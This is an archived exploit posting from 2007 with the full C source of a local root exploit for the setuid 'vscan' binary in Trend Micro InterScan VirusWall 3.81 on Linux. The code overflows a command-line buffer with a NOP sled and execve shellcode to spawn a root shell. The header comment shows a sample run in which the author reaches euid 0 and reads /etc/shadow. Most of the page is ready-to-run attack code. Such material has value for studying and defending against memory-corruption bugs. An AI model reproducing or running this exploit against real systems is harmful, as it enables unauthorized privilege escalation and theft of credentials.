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tmvwall381v3_exp.c

tmvwall381v3_exp.c
Posted Jan 27, 2007
Authored by Sebastian Wolfgarten

Local root exploit for vscan/VSAPI in Trend Micro VirusWall version 3.81 on Linux.

tags | exploit, local, root
systems | linux
SHA-256 | 9d755b5bafb1a729d747106a19b5bdf4cf329021970131996e1098b977f41310

tmvwall381v3_exp.c

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/*

Title: Local root exploit for vscan/VSAPI (=Trend Micro VirusWall 3.81 on Linux)

Author: Sebastian Wolfgarten, <sebastian@wolfgarten.com>

Date: January 3rd, 2007

Severity: Medium

Description:

The product "InterScan VirusWall 3.81 for Linux" ships a library called
"libvsapi.so" which is vulnerable to a memory corruption vulnerability.

One of the applications that apparently uses this library is called "vscan"
which is set suid root by default. It was discovered that this supporting
program is prone to a classic buffer overflow vulnerability when a particularly
long command-line argument is being passed and the application utilizes the flawed
library to attempt to copy that data into a finite buffer.

As vscan is set suid root, this leads to arbitrary code execution with root level
privileges. However the severity of this vulnerability is probably "medium" as by default
the vscan file is only executable by the root user as well as members of the "iscan"
group which is created during the installation of the software.

Example:

sebastian@debian31:~$ ./tmvwall381v3_exp

Local root exploit for vscan/VSAPI (=Trend Micro VirusWall 3.81 on Linux)
Author: Sebastian Wolfgarten, <sebastian@wolfgarten.com>
Date: January 3rd, 2007

Okay, /opt/trend/ISBASE/IScan.BASE/vscan is executable and by the way, your current user id is 5002.

Executing /opt/trend/ISBASE/IScan.BASE/vscan. Afterwards check your privilege level with id or whoami!
Virus Scanner v3.1, VSAPI v8.310-1002
Trend Micro Inc. 1996,1997
Pattern number 4.155.00

sh-2.05b# id
uid=5002(sebastian) gid=100(users) euid=0(root) groups=100(users),5001(iscan)

sh-2.05b# cat /etc/shadow

root:***REMOVED***:13372:0:99999:7:::
daemon:*:13372:0:99999:7:::
bin:*:13372:0:99999:7:::
sys:*:13372:0:99999:7:::
sync:*:13372:0:99999:7:::
games:*:13372:0:99999:7:::
man:*:13372:0:99999:7:::
lp:*:13372:0:99999:7:::
mail:*:13372:0:99999:7:::
news:*:13372:0:99999:7:::
uucp:*:13372:0:99999:7:::
proxy:*:13372:0:99999:7:::
www-data:*:13372:0:99999:7:::
backup:*:13372:0:99999:7:::
list:*:13372:0:99999:7:::
irc:*:13372:0:99999:7:::
gnats:*:13372:0:99999:7:::
nobody:*:13372:0:99999:7:::
Debian-exim:!:13372:0:99999:7:::
sshd:!:13372:0:99999:7:::
postfix:!:13500:0:99999:7:::
mysql:!:13500:0:99999:7:::
vmail:!:13500:0:99999:7:::
amavis:!:13500:0:99999:7:::
iscan:!:13500:0:99999:7:::
sebastian:***REMOVED***:13500:0:99999:7:::

Credits:

Must go to Aleph One for the shellcode and mercy for bits of the code.

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define NOP 0x90
#define vscan "/opt/trend/ISBASE/IScan.BASE/vscan"

// Shellcode by Aleph One
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {

__asm__("movl %esp, %eax");

}

int main(int argc, char *argv[], char **envp) {

// Size of the vulnerable buffer (1116 + 4 bytes to overwrite EIP)
int buff = 1120;

// Address of the shellcode
unsigned long addr;

// Temporarily used to add nops etc.
char *ptr;

printf("\nLocal root exploit for vscan/VSAPI (=Trend Micro VirusWall 3.81 on Linux)\n");
printf("Author: Sebastian Wolfgarten, <sebastian@wolfgarten.com>\n");
printf("Date: January 3rd, 2007\n\n");

// Check permissions on vscan executable, if this fails exploitation is infeasible.
if (access(vscan, 01) != -1) {

printf("Okay, %s is executable and by the way, your current user id is %d.\n",vscan,getuid());

// Allocate memory for filling the buffer
if((ptr = (char *)malloc(buff)) == NULL) {

printf("Error allocating memory!\n");
exit(-1);

}

// Determine the address of the shellcode with the inline assembly above
addr = get_sp();

// Add the NOP's to the buffer
memset(ptr, NOP, buff);

// Add the shellcode
memcpy(ptr + buff - strlen(shellcode) - 8, shellcode, strlen(shellcode));

// The return address
*(long *)&ptr[buff - 4] = addr;

// Off we go, execute the vulnerable program
printf("\nExecuting %s. Afterwards check your privilege level with id or whoami!\n",vscan);
execl(vscan, "vscan", ptr, NULL);

} else {

printf("Exploit failed. You seem not to have enough privileges to execute %s, sorry.\n",vscan);
printf("Hint: Ask your local admin to add yourself to the iscan group or let him make the vscan binary world-executable.\n");
printf("Then try again :-)\n\n");
exit(1);

}

return 0;

}
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